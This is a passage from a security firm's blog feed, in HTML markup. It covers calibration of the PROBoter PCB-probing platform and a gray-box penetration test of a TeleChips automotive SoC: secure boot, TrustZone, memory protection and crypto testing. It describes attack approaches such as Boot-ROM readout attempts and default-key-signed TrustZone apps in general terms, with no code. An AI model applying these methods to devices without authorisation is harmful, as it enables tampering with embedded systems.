&lt;/span>
[4] running on a 3D printer
controller board. In our prototype, we used a
&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/bigtreetech/BIGTREETECH-SKR-V1.3/tree/master/BTT%20SKR%20V1.3"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">BigTreeTech&lt;/span>
&lt;/a>&lt;a
href="https://github.com/bigtreetech/BIGTREETECH-SKR-V1.3/tree/master/BTT%20SKR%20V1.3"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SKRv1.3&lt;/span>
&lt;/a>&lt;a
href="https://github.com/bigtreetech/BIGTREETECH-SKR-V1.3/tree/master/BTT%20SKR%20V1.3"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">board&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[5] for this purpose. Marlin comes with integrated motion control logic and support
for dual-motor Gantry setups like the one used for the X axis drives. The
firmware is also portable and supports a wide range of microcontrollers and 3D
printer controller boards. Movement commands are sent to the controller board
as &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://marlinfw.org/meta/gcode/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">G-codes&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[6] over a serial interface.&lt;/p>
&lt;p>The controller boards are orchestrated by a high-level service implemented in
Python. It exposes low-level movement and configuration commands, as well as
high-level commands e.g. for PCB image generation via a REST-like web
interface. This allows fast and easy integration of the PROBoter hardware
platform&amp;rsquo;s analysis and probing functionality into customized tools or
&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">penetration&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/penetration-test/"
class="link-background inline split"
>
&lt;span class="link-label">testing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
workflows. At the moment, a major software refactoring of
the PROBoter&amp;rsquo;s software components is still ongoing. After this process is
finished, the source code of the modified Marlin firmware and the Python-based
high-level hardware control service will be published on Github.&lt;/p>
&lt;h4 id="calibration">Calibration&lt;/h4>
&lt;p>One goal during the design of the PROBoter hardware platform was to facilitate
the creation of replica. Therefore, even unskilled or people with little
knowledge about mechanical engineering should be able to assemble the
platform without special measurement or calibration equipment. Therefore, to
compensate most of the errors typically induced during part manufacturing
or the later assembly process, the PROBoter platform also features an
auto-calibration routine.&lt;/p>
&lt;p>For this calibration, a common global Cartesian coordinate system for both, the
electrical probing units and the camera systems is introduced. This coordinate
system is defined by a 3D printed reference board which is shown in the image
below. The corpus of the board consists of a 3D printed part. The
yellow-brownish circles represent embedded metallic cylinders made out of
brass. The center of each cylinder visible from the top of the board, acts as
a reference point in the common coordinate system with well-known absolute
coordinates. During the calibration process, these reference points are
determined in each unit&amp;rsquo;s local coordinate system. In the next step, a
transformation matrix is calculated that describes the transition from the
local to the common global system and vice versa based on the generated point
mappings. By concatenating these transformation matrices, coordinates from any
unit&amp;rsquo;s local system can be transformed either in the common global or any other
unit&amp;rsquo;s local system.&lt;/p>
&lt;figure
style=""
>
&lt;img
src="/en/blog/proboter-02/calibration_plate_v2_rendering.svg"alt="3D rendering of the reference board used for the auto-calibration process"/>&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
3D rendering of the reference board used for the auto-calibration process&lt;/figcaption>&lt;/figure>
&lt;p>For the electrical probing units, the centers of the metallic cylinders are
calculated from four determined points on the cylinder edge. During the
calibration process, the probe is connected to a pull-up output and the
metallic reference cylinders are connected to ground. A point inside the
cylinder is than defined as all locations where the probe&amp;rsquo;s level is pulled
down to ground. Once positioned manually inside one of the reference cylinder&amp;rsquo;s
area, the calibration routine automatically probes six points on the cylinder
edge in a cross-like shaped path as can be seen in the illustration below. This
scheme is used to maximize the distance between the measurement locations and
reduce errors induced by position inaccuracies in the locations of the
individual test points. A reference cylinder&amp;rsquo;s center is finally calculated by
performing a circle fit operation using the previously determined edge points.
The described steps are repeated for the inner 8 or all 12 reference cylinders.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-02/calibration_probe_hu7a86e00f4c4977fd60df3e89fb430ed1_61224_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-02/calibration_probe_hu7a86e00f4c4977fd60df3e89fb430ed1_61224_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-02/calibration_probe_hu7a86e00f4c4977fd60df3e89fb430ed1_61224_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-02/calibration_probe.png"
width="1455"
height="455"
alt="Probing unit calibration process"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Probing unit calibration process&lt;/figcaption>
&lt;/figure>
&lt;p>The calibration routines for both, the movable and static camera systems,
identify the reference cylinders in a camera image based on the color difference
between the reference board corpus and the reference pins. In the image
below, the strong contrast in the color of the black reference board and the
yellow-brownish brass reference pins is highlighted (left picture). A simple color-based
segmentation is used to extract the reference cylinder areas in a camera image (middle picture).
The individual reference cylinders are than identified based on their
characteristic diameters (right picture). Again, a circle fit operation is used for the final
calculation of the reference cylinder centers.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/proboter-02/calibration_camera_huc91e52a34a04cbe98f9b8f380fe3a16f_112596_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/proboter-02/calibration_camera_huc91e52a34a04cbe98f9b8f380fe3a16f_112596_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/proboter-02/calibration_camera_huc91e52a34a04cbe98f9b8f380fe3a16f_112596_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/proboter-02/calibration_camera.png"
width="1200"
height="284"
alt="Camera calibration process"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Camera calibration process&lt;/figcaption>
&lt;/figure>
&lt;p>Our evaluation showed that the auto-calibration routine of the PROBoter can
compensate most of the mechanical errors. The resulting accuracy in a real
world scenario where a user selects a point in an image generated with one of
the camera systems and then positioning an electrical probe at this defined
location, is in the range of 0.1-0.2 mm. It is therefore sufficient to probe
test pads or pins of component packages typically found in an embedded system
penetration test. You can find more information about our evaluation
methodology and results in our &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">paper&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[7].&lt;/p>
&lt;h2 id="next-post">Next Post&lt;/h2>
&lt;p>The next part will show how well-established Neuronal Networks can be
used to automate the initial visual analysis of an unknown PCB. As a result,
possible interesting components like microcontrollers and memory chips are
labeled and the coordinates of the pins that connect these component to the
underlying PCBs are located. So stay tuned :)
&lt;br/>&lt;br/> Follow us on &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://twitter.com/Schutzwerk"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Twitter&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.linkedin.com/company/schutzwerk/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">LinkedIn&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.xing.com/companies/schutzwerkgmbh/updates"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Xing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to stay up-to-date.&lt;/p>
&lt;h2 id="references--credits">References / Credits&lt;/h2>
&lt;p>[1] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">GitHub&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">repository&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;p>[2] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.youtube.com/channel/UCGwcmqMzUUrfftdyRLQEKiA"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SecForCARs&lt;/span>
&lt;/a>&lt;a
href="https://www.youtube.com/channel/UCGwcmqMzUUrfftdyRLQEKiA"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">YouTube&lt;/span>
&lt;/a>&lt;a
href="https://www.youtube.com/channel/UCGwcmqMzUUrfftdyRLQEKiA"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Channel&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;p>[3] &lt;a href="http://www.grandideastudio.com/jtagulator/">http://www.grandideastudio.com/jtagulator/&lt;/a>&lt;/p>
&lt;p>[4] &lt;a href="https://github.com/MarlinFirmware/Marlin">https://github.com/MarlinFirmware/Marlin&lt;/a>&lt;/p>
&lt;p>[5] &lt;a href="https://github.com/bigtreetech/BIGTREETECH-SKR-V1.3/tree/master/BTT%20SKR%20V1.3">https://github.com/bigtreetech/BIGTREETECH-SKR-V1.3/tree/master/BTT%20SKR%20V1.3&lt;/a>&lt;/p>
&lt;p>[6] &lt;a href="https://marlinfw.org/meta/gcode/">https://marlinfw.org/meta/gcode/&lt;/a>&lt;/p>
&lt;p>[7] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://doi.org/10.13154/294-8348"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">paper&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;p>[8] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">demo&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">video&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;p>This work was sponsored by the BMBF project &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.secforcars.de/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SecForCARs&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.
We also want to thank &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.igus.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">igus&lt;/span>
&lt;/a>&lt;a
href="https://www.igus.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">GmbH&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
for their support and providing hardware samples.
The project was created at &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/"
class="link-background inline split"
>
&lt;span class="link-label">SCHUTZWERK&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/"
class="link-background inline split"
>
&lt;span class="link-label">GmbH&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
(supervisors Dr. Bastian Könings &amp;amp; Msc. Heiko Ehret) in cooperation
with &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.hs-kempten.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Hochschule&lt;/span>
&lt;/a>&lt;a
href="https://www.hs-kempten.de/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Kempten&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
(examiners Prof. Dr. Elmar Böhler &amp;amp; Prof. Dr. rer. nat Stefan Frenz).&lt;/p></description></item><item><title>Embedded Security Assessment of a TeleChips SoC</title><link>https://www.schutzwerk.com/en/blog/embedded-security-assessment-of-a-telechips-soc/</link><author>Dr. Bastian Könings</author><pubDate>Wed, 19 Jan 2022 09:00:00 +0100</pubDate><category>automotive security</category><category>embedded security</category><category>methodologies</category><category>research</category><description>
&lt;p>A System-on-a-Chip (SoC) is regularly used in the automotive domain to build
electronic control units (ECUs) with high demands on different functionalities
and computation power. TeleChips, as a leading supplier of SoC components for
automotive In-Vehicle Infotainment and cockpit solutions, chose SCHUTZWERK as an
independent and experienced provider for &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/automotive-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">automotive&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/automotive-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/automotive-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/automotive-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/automotive-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">assessments&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to analyze their new SoC series TCC803x (Dolphin+). This success story
summarizes the approach and results of the comprehensive security assessment.&lt;/p>
&lt;h2 id="the-customer">The Customer&lt;/h2>
&lt;p>TeleChips is a leading supplier of System-on-Chip (SoC) components for
automotive In-Vehicle Infotainment and cockpit solutions. Besides automotive
solutions, TeleChips also develops SoC products for Smart Home environments.
Their SoC solutions are based on the Arm architecture and support different
operating systems, such as Android, Linux, Windows Embedded Compact, AUTOSAR,
freeRTOS, or QNX.&lt;/p>
&lt;h2 id="the-challenge">The Challenge&lt;/h2>
&lt;p>A System-on-a-Chip (SoC) is regularly used in the automotive domain to build
electronic control units (ECUs) with high demands on different functionalities
and computation power. Therefore, SoCs are typically used in head units or
systems to support autonomous driving with high security and safety
requirements.&lt;/p>
&lt;p>TeleChips takes these requirements very serious, and therefore follows a
security-by-design process in order to integrate security mechanisms early in
the design phase of a SoC product. These security mechanisms should guarantee
the integrity of data and functions, the confidentiality of customer data and
intellectual property, and also protect against safety risks. While
comprehensive security concepts and mature development processes are essential
to effectively integrate security mechanisms in final products, it is also vital
to test and technically assess the final solution from the perspective of
attackers. According to the ISO 21434 standard, these assessments, also referred
to as penetration tests, are now mandatory for automotive ECUs.&lt;/p>
&lt;p>Therefore, in addition to their in-house security activities, TeleChips sought
to further improve the security of their new TCC803x series chips (Dolphin+)
through a comprehensive security assessment. TeleChips chose SCHUTZWERK as an
independent and experienced provider for &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/automotive-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">automotive&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/automotive-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/automotive-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/automotive-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">security&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/automotive-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">assessments&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to analyze their security measures and conduct this assessment.&lt;/p>
&lt;h2 id="the-project">The Project&lt;/h2>
&lt;p>The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.telechips.com/eng/product/diagram_popup.php?map=TCC803x"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">TCC803x&lt;/span>
&lt;/a>&lt;a
href="https://www.telechips.com/eng/product/diagram_popup.php?map=TCC803x"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SoC&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
(as
shown in the following figure) is based on an Arm Cortex-A53 Quad core (or Dual
core) and Arm Cortex-A7 core designed especially for automotive infotainment,
cluster, and cockpit systems. The SoC provides 2D/3D graphic engines, supports
multi-display and multi-channel camera input, and can be run with a custom
operating system such as Android or Linux.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/embedded-security-assessment-of-a-telechips-soc/telechips-diagram-TCC803x_huc1d5b9b8f1cdee2563e33aa3be893c46_283569_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/embedded-security-assessment-of-a-telechips-soc/telechips-diagram-TCC803x_huc1d5b9b8f1cdee2563e33aa3be893c46_283569_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/embedded-security-assessment-of-a-telechips-soc/telechips-diagram-TCC803x_huc1d5b9b8f1cdee2563e33aa3be893c46_283569_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/embedded-security-assessment-of-a-telechips-soc/telechips-diagram-TCC803x.jpg"
width="740"
height="913"
alt="TCC803x architecture"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
TCC803x architecture&lt;/figcaption>
&lt;/figure>
&lt;p>The SoC is protected by several security features like a Hardware security
module (HSM), Secure Boot and a One Time Programmable (OTP) memory. For the
overall security of the real-time operating system, the secure implementation of
a random number generator, of timers and the RTC as well as the protection of
the Boot-ROM are also essential.&lt;/p>
&lt;p>When presented with this challenge our embedded security team started by
performing a comprehensive analysis of the SoC security measures and
corresponding threats. The main threats we considered were:&lt;/p>
&lt;ul>
&lt;li>Direct bypassing of security mechanisms&lt;/li>
&lt;li>Unauthorized access to stored secrets and keys&lt;/li>
&lt;li>Unauthorized access to the secure world from the user world (privilege escalation)&lt;/li>
&lt;li>Manipulation of configuration&lt;/li>
&lt;li>Manipulation of the RTC and timers&lt;/li>
&lt;li>Manipulation of the real-time application from the Cortex-A53&lt;/li>
&lt;/ul>
&lt;p>Based on this initial analysis, we created a test plan for each of the following
security mechanisms:&lt;/p>
&lt;ul>
&lt;li>HSM and Arm TrustZone integration&lt;/li>
&lt;li>Memory protection and process(or) isolation (MMU, DMA)&lt;/li>
&lt;li>Cryptographic algorithms, interfaces and Random Number Generation&lt;/li>
&lt;li>Integration of RTC and timers&lt;/li>
&lt;li>Debugging interface protection features (e.g. JTAG, UART)&lt;/li>
&lt;li>Communication interface protection over bus matrix (USB, I2C, SPI, CAN etc.)&lt;/li>
&lt;li>Secure Boot and Boot ROM protection&lt;/li>
&lt;li>Hardening of option byte settings and OTP settings&lt;/li>
&lt;li>Overall security configuration&lt;/li>
&lt;/ul>
&lt;p>The security assessment was conducted in a gray-box approach where TeleChips
provided us with basic information about the SoC (e.g. datasheets, user manual
and technical design documents). This information is typically available to
developers using the platform. In addition, an example for the HSM API was
provided. Source code for internals like the HSM and Boot-ROM, was not
available. As typical for such gray-box assessments, some further limitations
occurred. For instance, it was neither possible to access the TrustZone
applications nor the OP-TEE TrustZone OS. Access to the internal components was
limited to the user world on the Cortex-A53.&lt;/p>
&lt;p>The test setup consisted of two development boards provided by TeleChips (see
following figure).&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/embedded-security-assessment-of-a-telechips-soc/telechips-board-setup_hu8a2a3b951272e6e9850022cb795ffd90_133360_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/embedded-security-assessment-of-a-telechips-soc/telechips-board-setup_hu8a2a3b951272e6e9850022cb795ffd90_133360_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/embedded-security-assessment-of-a-telechips-soc/telechips-board-setup_hu8a2a3b951272e6e9850022cb795ffd90_133360_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/embedded-security-assessment-of-a-telechips-soc/telechips-board-setup.jpg"
width="838"
height="427"
alt="Setup with development board"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Setup with development board&lt;/figcaption>
&lt;/figure>
&lt;p>These boards run an Android operating system on the main core
A53 (an unrooted Android 10 OS) and a demonstration application on the real-time
core R5. The interface for the HSM was made available via a kernel driver and an
example application. The boards further provide various interfaces and access to
the JTAG interface, as well as the debugging ports for the Cortex-R5 and
Cortex-A53 via RS232 interfaces.&lt;/p>
&lt;p>All analysis tasks were performed in our dedicated embedded security lab at the
SCHUTZWERK headquarter in Ulm. The security lab is equipped with a comprehensive
set of tools and devices to conduct also very low-level security assessments of
embedded device. Attack vectors range from reading out flash storage over
connecting to low-level debugging interfaces to remounting components to
individually designed boards and launching side-channel attacks, such as power
glitching or power analysis.&lt;/p>
&lt;p>Based on the defined test plan, we performed several analysis steps of which
some will briefly be discussed in the following:&lt;/p>
&lt;h3 id="analysis-of-the-secure-boot-process">Analysis of the Secure Boot Process&lt;/h3>
&lt;p>The secure boot process ensures the initial integrity for all applications
running on the SoC. In order to assess the security of the boot process, we
typically analyze the different boot stages for verification steps of the trust
chain and dedicated signature verification procedures. For instance, we check if
the root key for verifying the initial bootloader is stored in a tamper-proof
storage, e.g., OTP storage, and that a manipulation of software and data at the
different boot stages leads to a failure of the boot process. We also try to
identify exceptions for applications or components of the SoC which have been
excluded from the secure boot process.&lt;/p>
&lt;p>There are often different boot modes available, which could have
individual configurations for a secure boot process. Typical vulnerabilities
could result from boot modes that do not perform a secure boot process and can
be activated without authorization. If such insecure boot modes exist, we check
if they are effectively deactivated, e.g., by respective OTP settings.&lt;/p>
&lt;p>The Boot-ROM typically contains the first instructions executed by the main
processor during the boot and thus represents the root of trust for the secure
boot chain. The code is often treated as intellectual property and as such
should be protected against readout. During our assessment, different possible
attack vectors to extract the Boot-ROM content have been tested. For instance,
we tested access from the Cortex-A53 cores or from the U-Boot bootloader
console. However, read requests always resulted in a reboot of the whole system
showing that the implemented memory read barriers or similar security measures
are activated.&lt;/p>
&lt;h3 id="analysis-of-the-trustzone">Analysis of the TrustZone&lt;/h3>
&lt;p>For the TCC803x series chips, the TrustZone implementation and inclusion is
based on the standard ARM TrustZone architecture. For this architecture, we
verify that the secure bit can not be set by the user world. If this is handled
correctly, the security of the TrustZone primarily depends on the secure boot
process to ensure only a signed TrustZone OS can be executed. In this case, the
OP-TEE is loaded and the OP-TEE only executes correctly signed TrustZone
applications. We typically try to modify the OP-TEE and to load a custom
application in the TrustZone which is signed with the default key from the
OP-TEE repositories.&lt;/p>
&lt;p>If the standard ARM TrustZone architecture is correctly implemented, attacks on
the TrustZone require an exploit of the running OP-TEE, a TrustZone application,
or the possibility to bypass or deactivate the secure boot process for the
OP-TEE. Respective vulnerabilities in this area were not discovered in the time
scope of the assessment.&lt;/p>
&lt;h3 id="analysis-of-memory-protection">Analysis of Memory Protection&lt;/h3>
&lt;p>To prevent access to sensitive information and safety-critical components,
several security measures like memory bus address filters and DMA controllers
are implemented in the TCC803x SoC. In gray-box assessments without full access
to all components of a SoC, available testing methods are very limited.&lt;/p>
&lt;p>In our case, we were able to execute memory access tests from the Cortex-A53 via
the U-Boot console running with exception level EL2 in the normal world (i.e.,
the NS bit is set to 1) and by dumping larger memory areas with a custom U-Boot
standalone application written in C.&lt;/p>
&lt;p>Especially, access to memory sections related to cryptographic components and
persistent storage containing key material were tested. Unauthorized access to
such ares could allow an adversary to attack the secure boot chain by extracting
keys for firmware signing and encryption or by manipulating the persistent
memory containing code that is executed during the secure boot process.&lt;/p>
&lt;p>Memory access from the Cortex-R5 perspective was tested with an attached JTAG
debugger as no custom code could be loaded into this core via the normal flash
process. In this setup, the USB boot mode was selected and the provided fwdn
firmware loader flashed. The debugger was then used to issue memory access
commands on behalf of the Cortex-R5.&lt;/p>
&lt;h3 id="analysis-of-cryptographic-routines">Analysis of Cryptographic Routines&lt;/h3>
&lt;p>If a SoC has an integrated crypto engine, we typically assess the cryptographic
strength of underlying routines. For instance, we assess the entropy of the
random number generator and the vulnerability of encryption methods to timing
attacks in order to gain knowledge about secret keys or respective plaintext. We
present an example from another project in this area in a &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/"
class="link-background inline split"
>
&lt;span class="link-label">different&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/"
class="link-background inline split"
>
&lt;span class="link-label">blog&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/"
class="link-background inline split"
>
&lt;span class="link-label">post&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
.&lt;/p>
&lt;h2 id="results">Results&lt;/h2>
&lt;p>TeleChips puts a lot of effort in the integration of robust security mechanisms
in its SoC architectures. This is reflected by our results which show that the
achieved security level of the TCC803x SoC family is quite good. Nevertheless,
our rigorous testing identified some vulnerabilities and opportunities of
improvement in the SoCs security. The affected areas were the secure boot process,
the AES cryptographic operation of the HSM, and the JTAG interface for the R5.
Several of these issues were already closed by TeleChips during the assessment.
This highlights the well established and fast responsive security
management of TeleChips, and also emphasizes the benefit of conducting such
assessments even for solutions with already mature security concepts.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>Security assessments of complex embedded systems, especially in a gray-box
approach, are challenging to plan and conduct. By leverage the experienced
embedded security team of SCHUTZWERK, TeleChips was able to identify relevant
vulnerabilities and areas for improvement in the already mature security concept
of their SoC. Extensive and reproducible documentation provided by SCHUTZWERK,
in combination with the well-established security management processes of
TeleChips, allowed for swift mitigation of identified vulnerabilities,
leading to an overall improved security of TeleChips products.&lt;/p>
&lt;p>Finally, we would like to thank TeleChips for their great support and open
collaboration during this project. We further appreciate the chance to share
some insights of the project&amp;rsquo;s results. This highlights that TeleChips
understands the process of security management as an iterative one which also
requires an open discussion about common issues and pitfalls to make future
products more secure.&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.pexels.com/photo/bright-microchip-with-red-light-6432056/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Title&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/photo/bright-microchip-with-red-light-6432056/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Image&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
by &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.pexels.com/@nic-livefeedpro"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Nic&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/@nic-livefeedpro"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Wood/Pexels&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul></description></item><item><title>Statistical Modelling of Timing Sidechannels</title><link>https://www.schutzwerk.com/en/blog/statistical-modelling-of-timing-sidechannels/</link><author>Dr. Henning Kopp</author><pubDate>Thu, 02 Dec 2021 09:14:16 +0200</pubDate><category>cryptography</category><category>embedded security</category><category>attacks</category><description>
&lt;p>In this blog post we present a Bayesian statistical model to detect cryptographic timing attacks.
